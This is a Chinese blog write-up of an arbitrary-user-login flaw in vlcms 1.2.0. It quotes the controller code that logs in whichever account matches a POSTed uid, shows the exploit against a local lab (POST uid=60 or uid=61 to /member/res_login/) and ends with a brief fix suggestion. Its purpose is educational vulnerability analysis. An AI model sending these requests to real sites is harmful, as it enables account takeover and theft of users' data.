邏輯漏洞之任意用戶登陸漏洞

環境

環境: Web: phpstudy 5.4.45
System: Windows 10x64
源碼版本爲:vlcms_1.2.0

什麼是任意用戶登錄漏洞

幾乎每個網站都有自己的會員系統,有會員,就有登錄機制,如果可以登錄其他用戶賬戶,那麼就可以竊取其他用戶的資料數據。如果配合上腳本的話,甚至可以批量獲取用戶的數據。對網站來說,任意用戶登錄是一個很高危的漏洞。

環境搭建

image.png

 

創建數據庫

 

image.png

 

查看網站是否可以正常訪問

 

image.png

漏洞的利用

1、案例分析
vlcms/Application/Media/Controller/MemberController.class.php

post獲取uid傳進autoLogin()中

 

public function res_login(){
                parent::autoLogin($_POST['uid']);
                echo $this->ajaxReturn(array("status"=>0,"uid"=>$_POST['uid']));
        }

將id傳進entity()。

 

protected function autoLogin($uid){
                $user =$this->entity($uid);
        /* 記錄登錄SESSION和COOKIES */
        $auth = array(
            'mid'             => $user['id'],
            'account'             => $user['account'],
            'nickname'        => $user['nickname'],
            'balance'         => $user['balance'],
            'last_login_time' => $user['login_time'],
        );
        session('member_auth', $auth);
        session('member_auth_sign', data_auth_sign($auth));
        }

entity中直接根據id查詢賬戶了。。所以只需一個id就能登錄任意用戶

 

protected function entity($id){
                $data = M('User','tab_')->find($id);
                if(empty($data)){
                        return false;
                }
                return $data;
        }

案例的利用

1、先註冊幾個賬號

 

image.png

2、訪問url:
http://127.0.0.1/vlcms_1.2.0//index.php?s=/member/res_login/
post:uid=60
訪問後,返回一串代碼

image.png


接着訪問http://127.0.0.1/vlcms_1.2.0//index.php?s=/member/,可以看到,已經成功登錄賬戶

image.png


訪問post:uid=61

image.png


接着訪問
http://127.0.0.1/vlcms_1.2.0//index.php?s=/member/,可以看到已經成功登陸賬號了,登陸uid爲61的賬號

image.png


查看數據庫裏面uid61的賬號爲:

image.png

 

修復建議

不要用id來判斷賬戶身份



作者:二潘
鏈接:https://www.jianshu.com/p/ed3695059897
來源:簡書
著作權歸作者所有。商業轉載請聯繫作者獲得授權,非商業轉載請註明出處。

發表評論
所有評論
還沒有人評論,想成為第一個評論的人麼? 請在上方評論欄輸入並且點擊發布.
相關文章